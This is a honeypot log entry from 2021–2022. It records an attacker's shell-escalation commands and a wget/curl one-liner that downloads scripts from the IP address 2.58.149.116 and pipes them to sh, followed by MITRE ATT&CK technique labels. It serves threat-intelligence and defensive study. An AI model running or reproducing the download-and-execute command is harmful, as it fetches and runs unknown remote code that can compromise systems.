Honeypot attack session (period 2021_2022), commands issued:
sh
enable
shell
debug shell
cmd
wget http://2.58.149.116/w -O- | sh; curl http://2.58.149.116/c -O- | sh

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter